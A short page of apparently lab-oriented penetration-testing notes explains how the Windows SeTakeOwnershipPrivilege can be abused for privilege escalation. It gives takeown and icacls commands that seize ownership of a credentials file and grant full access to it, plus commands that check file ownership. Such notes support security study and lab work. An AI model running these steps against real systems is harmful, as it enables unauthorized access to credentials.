> For the complete documentation index, see [llms.txt](https://breakpoint-journal.gitbook.io/breakpoint/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://breakpoint-journal.gitbook.io/breakpoint/windows/windows-privilege-escalation/privileges-in-depth/setakeownershipprivilege.md).

# SeTakeOwnershipPrivilege

Grants the user the ability to take ownership of any securable object a.k.a. AD objects, NTFS files/folders, printers, registry keys, services, and processes. Specifically, this privilege assigns `WRITE_OWNER` rights over an object, meaning the user can alter the owner within the object's security descriptor. May be assigned if, for example, a service account needs to run backup jobs and VSS snapshots.

{% code title="Retrieve file metadata" overflow="wrap" %}

```powershell
Get-ChildItem -Path 'C:\Department Shares\Private\IT\cred.txt' | Select Fullname,LastWrite,Attributes,@{Name="Owner";Expression={ (Get-Acl $_.FullName).Owner }}
```

{% endcode %}

{% code title="Check File Ownership" %}

```batch
cmd /c dir /q 'C:\Department Shares\Private\IT'
```

{% endcode %}

{% code title="takeown is a Windows builtin binary" %}

```batch
takeown /f 'C:\Department Shares\Private\IT\cred.txt'
```

{% endcode %}

{% code title="Grants full privileges over target file" %}

```batch
icacls 'C:\Department Shares\Private\IT\cred.txt' /grant htb-student:F
```

{% endcode %}

For a series of files of interest see the section, [Credential Theft + Sensitive Files](/breakpoint/windows/windows-privilege-escalation/credential-theft-+-sensitive-files.md)